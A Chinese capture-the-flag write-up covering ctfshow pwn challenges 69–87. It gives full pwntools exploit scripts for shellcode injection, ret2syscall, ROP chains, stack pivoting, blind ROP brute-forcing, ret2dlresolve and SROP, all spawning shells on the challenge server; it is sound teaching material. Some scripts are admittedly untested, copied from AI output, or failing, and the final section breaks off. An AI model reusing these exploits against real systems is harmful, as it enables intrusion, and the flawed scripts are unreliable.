1 2 3 4 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
可以得到这个ORW的固定payload 利用 open 打开的 flag 文件后文件描述符是 3,所以使用的 read(3,mmap,0x100)这里也要文件描述符变成 3(因为 0,1,2 是标志的输入输出,标准错误)
1 2 3 4 shellcode = shellcraft.open ("/ctfshow_flag" ) shellcode += shellcraft.read(3 ,mmap_addr,0x100 ) shellcode += shellcraft.write(1 ,mmap_addr,0x100 ) shellcode = asm(shellcode)
看利用函数
1 2 3 4 5 6 7 8 int sub_400A16 () { char buf[32 ]; puts ("Now you can use ORW to do" ); read(0 , buf, 0x38u LL); return puts ("No you don't understand I say!" ); }
如果 read 读 buf 的0x100字节的话,那肯定已经利用成功了 buf 占 0x28 字节,只能从缓冲区读取 0x38个字节,只有16个字节是我们可以用的,肯定不够我们构造的 payload 所以我们只能选择把 payload 放在 mmap 分配的可写可执行地址上
思路 (!这是往 buf 里填充的 payload) :
读取 shellcode 到 mmap
跳转到 mmap 处
补满0x28字节,导致溢出
溢出后 jmp_rsp_addr
,覆盖返回地址
执行 rsp + 0x30 回到 buf 顶,执行读取 shellcode 到 mmap,跳转到 mmap 处执行 (类似于栈迁移)
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28139 ) padding = 0x28 jmp_rsp_addr = 0x400a01 mmap_addr = 0x123000 shellcode = shellcraft.open ("/ctfshow_flag" ) shellcode += shellcraft.read(3 ,mmap_addr,0x100 ) shellcode += shellcraft.write(1 ,mmap_addr,0x100 ) shellcode = asm(shellcode) payload = asm(shellcraft.read(0 ,mmap_addr,0x100 )) + asm("mov rax,0x123000; jmp rax" ) payload = payload.ljust(padding, b'a' ) payload += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp" ) io.recvuntil("do\n" ) io.sendline(payload) io.sendline(shellcode) io.interactive()
pwn70 可以开始你的个人秀了 flag文件位置为/flag 64bit , 开启了沙箱,禁止了 execve
1 2 3 4 5 6 7 8 9 10 ❯ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
同时还存在 strlen 的判断,输入的 a1是否在范围内,strlen 可以直接用00截断绕过,而 execve,可以直接用 cat /flag
,绕过 利用 pwn66
中的 \x00
开头的汇编代码绕过即可, 解题脚本:
1 2 3 4 5 6 7 8 9 10 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28246 ) shellcode = asm(shellcraft.cat('/flag' )) payload = b'\x00\xc0' + shellcode io.recvuntil("name:\n" ) io.sendline(payload) io.interactive()
pwn71 ret2syscall 32位的ret2syscall 先测试溢出值
1 2 3 4 5 6 7 8 9 10 11 12 13 ──────────────────────────────────────[ BACKTRACE]─────────────────────────────────── ► 0 0x8048e9b main+119 1 0x62616164 None 2 0x62616165 None 3 0x62616166 None 4 0x62616167 None 5 0x62616168 None 6 0x62616169 None 7 0x6261616a None pwndbg> cyclic -l 0x62616164 Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162) Found at offset 112
接下来就是正常的 ret2syscall 基本 rop 之一,意为 call system,控制程序执行系统调用,获取 shell 利用的是 execve("/bin/sh",NULL,NULL)
向寄存器存放的参数分别为:
系统调用号,即 eax 应该为 0xb
; 此为 execve 对应的系统调用号
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
int 0x80(触发中断)
先找 ROPgadget
1 2 3 4 ROPgadget --binary ./pwn --only 'pop|ret' | grep 'eax' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'ebx' ROPgadget --binary ./pwn --string '/bin/sh' ROPgadget --binary ./pwn --only 'int' (int 0x80)
然后构造 payload, 解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28217 ) padding = 112 pop_eax_ret_addr = 0x080bb196 pop_3_ret_addr = 0x0806eb90 int_0x80 = 0x08049421 bin_sh_addr = 0x80BE408 payload = b'A' * padding + p32(pop_eax_ret_addr) + p32(0x0b ) payload += p32(pop_3_ret_addr) + p32(0x0 ) + p32(0x0 ) + p32(bin_sh_addr) + p32(int_0x80) io.recvuntil("ret2syscall!\n" ) io.sendline(payload) io.interactive()
pwn72 ret2syscall+read 接着练ret2syscall,多系统函数调用 32bit ,比 pwn71 相比少了 /bin/sh
, 需要写入到 bss 段 vmmap 显示 bss 段可读可写 测试 padding
1 2 3 4 5 6 7 8 9 10 11 12 13 ───────────────────────────────────[ BACKTRACE ]───────────────────────────────────── ► 0 0x6161616c None 1 0x6161616d None 2 0x6161616e None 3 0x6161616f None 4 0x61616170 None 5 0x61616171 None 6 0x61616172 None 7 0x61616173 None pwndbg> cyclic -l 0x6161616c Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161) Found at offset 44
先 syscall read 0x3
, 写入到 bss 段任意地址,int 0x80 中断 再 syscall execve 0xb
,get shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28220 ) bss_addr = 0x80eb000 padding = 44 pop_eax_ret = 0x080bb2c6 pop_3_ret = 0x0806ecb0 int_0x80 = 0x0806F350 bin_sh_str = b"/bin/sh\x00" payload = b'A' * padding + p32(pop_eax_ret) + p32(0x3 ) payload += p32(pop_3_ret) + p32(0x10 ) + p32(bss_addr) + p32(0 ) + p32(int_0x80) payload += p32(pop_eax_ret) + p32(0xb ) payload += p32(pop_3_ret) + p32(0 ) + p32(0 ) + p32(bss_addr) + p32(int_0x80) io.recvuntil("system?\n" ) io.sendline(payload) io.sendline(bin_sh_str) io.interactive()
pwn73 ropchain 愉快的尝试一下一把梭吧! 32bit , 可以直接用 ROPgadget --binary pwn73 --ropchain
, 自动构造 ROP 链来嗦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from struct import packcontext(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28277 ) padding = 0x1c p = b'a' * padding p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b81c6 ) p += b'/bin' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b81c6 ) p += b'//sh' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x080549db ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de955 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0806cc25 ) io.sendline(p) io.interactive()
pwn74 one_gadget 噢?好像到现在为止还没有了解到one_gadget? 64bit
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
保护全开….. 这里题目也提示用 one_gadget
one_gadget one_gadget 是 libc 中存在的一些执行 execve(“/bin/sh”, NULL, NULL)的片段,当可以泄露 libc 地址,并且可以知道 libc 版本的时候 ,可以使用此方法来快速控制指令寄存器开启 shell。相比于 system(“/bin/sh”),这种方式更加方便,不用控制 RDI、RSI、RDX 等参数。运用于不利构造参数的情况。就是直接找 libc 库里可以直接用的函数调用
解题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ one_gadget ./libc/libc.so.6 0x4f29e execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, "-c" , r12, NULL} is a valid argv 0x4f2a5 execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv 0x4f302 execve("/bin/sh" , rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv 0x10a2fc execve("/bin/sh" , rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
选择下面三个 execve ,但是都有约束条件 constraints
题目中也给了 printf 的地址 printf("What's this:%p ?\n", &printf);
写一下解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28109 ) libc = ELF("./libc/libc.so.6" ) execve = 0x10a2fc io.recvuntil("What's this:" ) printf_addr = eval (io.recvuntil(b"?" , drop=True )) print ("printf_addr:" ,hex (printf_addr)) libc_base = printf_addr - libc.sym['printf' ] execve = execve + libc_base io.sendline(str (execve)) io.interactive()
pwn75 栈迁移 栈空间不够怎么办? 32bit , 利用栈迁移来做 详细见: https://xekoner.xyz/2025/04/22/ciscn-2019-es-2-writeup-%E6%A0%88%E8%BF%81%E7%A7%BB/
1 2 3 4 5 6 7 8 9 10 11 int ctfshow () { char s[36 ]; memset (s, 0 , 0x20u ); read(0 , s, 0x30u ); printf ("Welcome, %s\n" , s); puts ("What do you want to do?" ); read(0 , s, 0x30u ); return printf ("Nothing here ,%s\n" , s); }
我们先泄露处 ebp_old 的地址
1 2 3 4 5 6 padding = 0x28 leak_ebp = b'a' * (padding - 1 ) + b'b' io.send(leak_ebp) io.recvuntil('b' ) ebp_addr = u32(io.recv(4 )) print ("ebp_addr:" ,hex (ebp_addr))
构造栈迁移 payload
1 'aaaa' + system_addr + system_ret + bin_sh_addr + '/bin/sh' + rubbishdata + s stack start + leave_ret
1 2 ❯ ROPgadget --binary pwn --only 'leave|ret' 0x080484d5 : leave ; ret
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28299 ) libc = ELF("./libc/libc.so.6" ) padding = 0x28 leak_ebp = b'a' * (padding - 1 ) + b'b' io.send(leak_ebp) io.recvuntil('b' ) ebp_old_addr = u32(io.recv(4 )) print ("ebp_old_addr:" ,hex (ebp_old_addr))leave_ret_addr = 0x080484d5 system_addr = elf.plt['system' ] payload = b'aaaa' + p32(system_addr) + p32(0xdeadbeef ) + p32((ebp_old_addr - 0x38 ) + 0x10 ) + b'/bin/sh' payload = payload.ljust(0x28 , b'\x00' ) + p32(ebp_old_addr-0x38 ) + p32(leave_ret_addr) io.send(payload) io.interactive()
pwn76 覆盖 ebp 还是那句话,理清逻辑很重要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; char s[30 ]; unsigned int v6; memset (s, 0 , sizeof (s)); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); printf ("CTFshow login: " ); _isoc99_scanf("%30s" , s); memset (&input, 0 , 0xCu ); v4 = 0 ; v6 = Base64Decode((int )s, &v4); if ( v6 > 0xC ) { puts ("Input Error!" ); } else { memcpy (&input, v4, v6); if ( auth(v6) ) correct(); } return 0 ; }
大体逻辑就是输入一个字符串,然后把这个字符串 base64.decode , 然后赋值给 v6 , 同时复制到了 input 的地址,然后 call auth 函数,函数内是 auth()
1 2 3 4 5 6 7 8 9 10 11 _BOOL4 __cdecl auth (int a1) { char v2[8 ]; char *s2; int v4; memcpy (&v4, &input, a1); s2 = (char *)calc_md5(v2, 12 ); printf ("hash : %s\n" , s2); return strcmp ("f87cd601aa7fedca99018a8be88eda34" , s2) == 0 ; }
将 input最后比较 md5是否相等, input 复制到 v4所在位置 注意 v4 大小是0x08 [ebp-8h]
但是 v6 最大可以到 0xC
1 2 3 4 5 v6 = Base64Decode((int )s, &v4); if ( v6 > 0xC ){ puts ("Input Error!" ); }
这就可以导致溢出,虽然只能溢出四个字节,不能覆盖返回地址,但是可以覆盖 ebp 当 call func 结束后会调用 leave ; ret
leave : esp 指向 ebp 的值,然后 pop ebp
, esp + 4 ret : 从 ebp 弹出返回地址
所以我们只需要构造 :
1 b'aaaa' + system_binsh_addr + input_addr
最后别忘记 payload = base64.b64encode(payload).decode('utf-8')
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28256 ) libc = ELF("./libc/libc.so.6" ) bin_sh_addr = 0x8049284 input_addr = 0x811EB40 payload = b'aaaa' + p32(bin_sh_addr) + p32(input_addr) payload = base64.b64encode(payload).decode('utf-8' ) io.sendline(payload) io.interactive()
pwn77 不会 …. Ez ROP or Mid ROP ? 64bit 程序
1 2 3 4 5 6 7 8 ❯ checksec ./pwn [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
反汇编
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); alarm(0x30u ); puts ("T^T" ); ctfshow(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 ctfshow () { int v0; __int64 result; char v2[267 ]; char v3; int v4; v4 = 0 ; while ( !feof(stdin ) ) { v3 = fgetc(stdin ); if ( v3 == 10 ) break ; v0 = v4++; v2[v0] = v3; } result = v4; v2[v4] = 0 ; return result; }
总体来说就是 gets 函数,有比较明显的溢出点: char v2[267]; // [rsp+0h] [rbp-110h]
同时题目也给明了是 ROP
, 尝试 ret2libc
[+] 这里 padding 的时候要注意,v4是下标,要绕开int v4; // [rsp+10Ch] [rbp-4h]
: v4占 rbp-4 , 那就是距离 rbp 前四字节要让开
挺简单的一个 ret2libc ,就是 v4那块没搞懂,直接上答案 (v4下标那边死活不对,不想做了直接 pass)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28196 ) elf = ELF('./pwn' ) libc = ELF('./libc/libc.so.6' ) rdiret = 0x4008e3 ret = 0x400576 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] ctfshow = elf.sym['ctfshow' ] io.recvuntil('T^T' ) offsets = 0x110 - 4 payload = b'a' *offsets + p32(0x110 - 4 + 1 ) + p64(0 ) + p64(rdiret) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) io.sendline(payload) real_puts = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (real_puts))libc_base = real_puts - libc.sym['puts' ] system_addr = libc_base + libc.sym['system' ] for binsh in libc.search('/bin/sh' ): print (hex (binsh)) binsh += libc_base payload = b'a' * offsets + p32(0x110 - 4 + 1 ) + p64(0 ) + p64(rdiret) + p64(binsh) + p64(ret) + p64(system_addr) + p64(ctfshow) io.sendline(payload) io.interactive()
pwn78 补发:64位ret2syscall
注意 : 找 syscall 的时候需要带 ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 objdump -d -M intel ./pwn | grep -A1 "syscall" -- 45f125: 0f 05 syscall 45f127: c3 ret -- 45f135: 0f 05 syscall 45f137: c3 ret -- 45f145: 0f 05 syscall 45f147: c3 ret -- 45f155: 0f 05 syscall 45f157: c3 ret
应该都可以,其他的和正常 ret2syscall 64bit 一样 这里没有提供 /bin/sh
, 需要再调用一次 read 手动写入
1 2 3 4 ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rax' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rsi' ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdx'
注意 x64 和 x86 的系统调用号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28112 ) libc = ELF("./libc/libc.so.6" ) bss_addr = 0x6c2000 padding = 0x58 pop_rax_ret_addr = 0x46b9f8 pop_rdx_rsi_ret_addr = 0x4377f9 syscall_addr = 0x45f155 pop_rdi_ret_addr = 0x4016c3 payload = b'a' * padding + p64(pop_rax_ret_addr) + p64(0x0 ) payload += p64(pop_rdi_ret_addr) + p64(0x0 ) payload += p64(pop_rdx_rsi_ret_addr) + p64(0x10 ) + p64(bss_addr) payload += p64(syscall_addr) payload += p64(pop_rax_ret_addr) + p64(0x3b ) payload += p64(pop_rdi_ret_addr) + p64(bss_addr) payload += p64(pop_rdx_rsi_ret_addr) + p64(0 ) + p64(0 ) payload += p64(syscall_addr) io.sendline(payload) io.sendline('/bin/sh\x00' ) io.interactive()
pwn79 ret2reg 你需要注意某些函数,这是解题的关键! 32bit 程序,保护全关,可以用 ret2libc 打,但是 recv 总是有奇奇怪怪的问题这里用 ret2reg 做
No canary + NX disabled 先动调,在 leave 处打上断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> disassemble ctfshow Dump of assembler code for function ctfshow: 0x0804867e <+0 >: push ebp 0x0804867f <+1 >: mov ebp,esp 0x08048681 <+3 >: push ebx 0x08048682 <+4 >: sub esp,0x204 0x08048688 <+10 >: call 0x804872c <__x86.get_pc_thunk.ax> 0x0804868d <+15 >: add eax,0x1973 0x08048692 <+20 >: sub esp,0x8 0x08048695 <+23 >: push DWORD PTR [ebp+0x8 ] 0x08048698 <+26 >: lea edx,[ebp-0x208 ] 0x0804869e <+32 >: push edx 0x0804869f <+33 >: mov ebx,eax 0x080486a1 <+35 >: call 0x80483d0 <strcpy @plt> 0x080486a6 <+40 >: add esp,0x10 0x080486a9 <+43 >: nop 0x080486aa <+44 >: mov ebx,DWORD PTR [ebp-0x4 ] => 0x080486ad <+47 >: leave 0x080486ae <+48 >: ret End of assembler dump.
输入 aaaa 后在 leave 处观察寄存器情况:
1 2 3 4 5 6 7 8 9 10 ─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────── EAX 0xffffc7a0 ◂— 'aaaa\n' EBX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 1 ECX 0xffffc9c0 ◂— 'aaaa\n' EDX 0xffffc7a0 ◂— 'aaaa\n' EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0 ESI 0x8048730 (__libc_csu_init) ◂— push ebp EBP 0xffffc9a8 —▸ 0xffffd1c8 ◂— 0 ESP 0xffffc7a0 ◂— 'aaaa\n' *EIP 0x80486ad (ctfshow+47) ◂— leave
可以看到 eax, ecx, edx
都指向栈 aaaa
处,那我们就有思路:因为没开栈不可执行,所以往栈里写入 shellcode,然后 call 或者 jmp 三个寄存器中的任意一个寄存器,就可以调用写入的 shellcode,从而 get shell
1 2 3 4 ❯ ROPgadget --binary ./pwn --only 'call|eax' Gadgets information ============================================================ 0x080484a0 : call eax
解题脚本: 先发送 shellcode , 后补完 padding,最后 call 或者 jmp 调用
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28175 ) libc = ELF("./libc/libc.so.6" ) padding = 0x20c shellcode = asm(shellcraft.sh()) call_eax = 0x80484a0 payload = shellcode + b'a' * (padding - len (shellcode)) + p32(call_eax) io.sendline(payload) io.interactive()
pwn80 Blind ROP (BROP) 盲打 ret2libc , 主要是暴力枚举
padding 溢出到 ebp
返回地址 (main/strat)
ret2csu 的连续 pop 地址 (在 No PIE 的情况下,ELF文件的头部内容为\x7fELF,可以根据这个来进行判断)
plt 地址
got 地址
正常 ret2libc 流程
为了方便加上头部主体
1 2 3 4 5 6 from pwn import *context(os='linux' , log_level='debug' , arch='i386' ) def connection (): io = remote("pwn.challenge.ctf.show" , 28227 ) return io
爆破 padding:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def offset_find (): offset = 0 while True : try : sleep(0.01 ) offset += 1 io = connection() io.recvuntil(b'daniu?\n' ) io.send(b'A' * offset) if b'No passwd' not in io.recvall(): raise Exception('Program did not exit normally!' ) io.close() except Exception: log.success(f'++++++++++++++++ ebp length is {offset - 1 } ' ) return offset - 1 offset_find()
得到 padding = 72 继续爆破可以返回的地址(gadget stop func),以便我们持续攻击 (Main 或者 start 函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def GetStopAddr (offset ): """Find a stop gadget (main/start function address).""" address = 0x400000 while True : sleep(0.1 ) log.info(f"Trying address: {hex (address)} " ) try : io = connection() io.recvuntil(b'daniu?\n' ) payload = b'A' * offset + p64(address) io.send(payload) output = io.recv() if not output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?' ): io.close() address += 1 else : log.success(f"++++++++++++++++ The Stop gadget is: {hex (address)} " ) return address except EOFError: address += 1 io.close() offset = 72 GetStopAddr(offset)
后续找 csu 有点问题,先搁一段时间。
pwn81 ret2libc + No PIE ROP变种 64bit 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { void *v3; void *handle; init(argc, argv, envp); logo(); puts ("Maybe it's simple,O.o" ); handle = dlopen("libc.so.6" , 258 ); v3 = dlsym(handle, "system" ); printf ("%p\n" , v3); ctfshow(); write(1 , "Hello CTFshow!\n" , 0xFu LL); return 0 ; }
read 有明显的溢出点, 但是开了 Full RELRO
和 PIE enabled
,得利用题目中泄露的 system 地址来计算基地址,然后利用基地址和偏移计算真实地址。 和 ret2libc 没什么区别,所以叫 ROP 变种咯注意的是,ROPgadget 出来的地址也要加上偏移地址 不知道为什么远程和本地都打不通……………..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = process('./pwn' ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = 0x88 io.recvuntil("O.o\n" ) system_addr = eval (io.recvuntil("\n" , drop=True )) print ("system_addr:" ,hex (system_addr))libc_base = system_addr - libc.sym["system" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] bin_sh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (bin_sh_addr))pop_rdi_ret_addr = libc_base + 0x2164f ret_addr = libc_base + 0x8aa payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) io.sendline(payload) io.interactive()
82-85 为高级 ROP,基本都是 ret2dlresolve ,有点难就直接 AI 分析抄注释抄 wp 了,后续慢慢补上吧
pwn82 ret2dlresolve 高级ROP 32 位 NO-RELRO
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' , 28214 ) elf = ELF("./pwn" ) rop = ROP("./pwn" ) io.recvuntil('Welcome to CTFshowPWN!\n' ) offset = 112 rop.raw(offset * 'a' ) rop.read(0 , 0x08049804 + 4 , 4 ) dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" , b"system" ) rop.read(0 , 0x080498E0 , len (dynstr)) rop.read(0 , 0x080498E0 + 0x100 , len ("/bin/sh\x00" )) rop.raw(0x08048376 ) rop.raw(0xdeadbeef ) rop.raw(0x080498E0 + 0x100 ) assert (len (rop.chain()) <= 256 ) rop.raw("a" * (256 - len (rop.chain()))) io.send(rop.chain()) io.send(p32(0x080498E0 )) io.send(dynstr) io.send("/bin/sh\x00" ) io.interactive()
pwn83 ret2dlresolve 高级ROP 32 位 Partial-RELRO
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' ,28287 ) elf = ELF('./pwn' ) rop = ROP('./pwn' ) dlresolve = Ret2dlresolvePayload(elf,symbol="system" ,args=["/bin/sh" ]) rop.read(0 ,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() io.recvuntil("Welcome to CTFshowPWN!\n" ) payload = flat({112 :raw_rop,256 :dlresolve.payload}) io.sendline(payload) io.interactive()
pwn84 ret2dlresolve 留
pwn85 ret2dlresolve 留
pwn86 SROP 非常简单的SROP SROP 模板题https://www.cnblogs.com/ZIKH26/articles/15913593.html SROP 前提:
存在栈溢出, 可以控制返回地址
可以调用 sigreturn
可以写入或者知道 /bin/sh
地址
溢出长度足够长,构造 payload
知道 syscall 指令的地址
一直劫持程序的控制流: 每次控制寄存器的时候,把 rsp 写成下一个片段的 rt_sigreturn
的地址,rip 地址指向 syscall;ret
(到 ret 的时候就会执行 rsp 执行的地址)
checksec
1 2 3 4 5 6 7 8 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes
disassemble
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { signed __int64 v3; signed __int64 v4; signed __int64 v5; v3 = sys_write(1u , global_pwn, 0x17u LL); if ( (unsigned __int64)sys_read(0 , global_buf, 0x200u LL) >= 0xF8 ) v4 = sys_rt_sigreturn(0LL ); v5 = sys_exit(0 ); return 0 ; }
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' , 28181 ) bin_sh_offset = 0x100 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = elf.symbols['global_buf' ] + bin_sh_offset frame.rsi = 0 frame.rdx = 0 frame.rip = elf.symbols['syscall' ] payload = bytes (frame).ljust(0x100 ,b'a' ) + b'/bin/sh\x00' io.recvuntil('CTFshowPWN!\n' ) io.sendline(payload) io.interactive()
pwn 87 花式栈溢出 32bit , No cancry + NX disabled栈溢出大小有限:
1 2 3 4 5 6 7 8 9 10 int ctfshow () { char s[28 ]; puts ("What's your name?" ); fflush(stdout ); fgets(s, 50 , stdin ); printf ("Hello %s." , s); return fflush(stdout ); }
因为没有开堆栈不可执行,那就直接写 shellcode 到栈中,然后去 shellcode 的地址执行,getshell 栈地址无法泄露,但是偏移是固定的 , 可以栈溢出后利用 ebp 进行操作,让 ebp 指向 shellcode 处,然后控制程序跳转到 ebp 处 。
1 2 3 4 ❯ ROPgadget --binary ./pwn --only 'jmp|ret' ... 0x08048d17 : jmp esp ...
有一个可以直接跳转到 esp 的 gadgets
布置 payload 如下:
1 shellcode + padding + fake ebp + jmp_esp_addr + set esp point to shellcode and jmp esp
char s[28]; // [esp+8h] [ebp-20h] BYREF
, 0x24个字节可以覆盖返回地址
返回地址为 jmp esp : 调用完函数后会执行 leave ; ret ,这个 ret 会 pop jmp_esp ,然后跳转。此时 esp 就是 sub_esp_jmp
然后最后一段构造 sub_esp_jmp 代码:
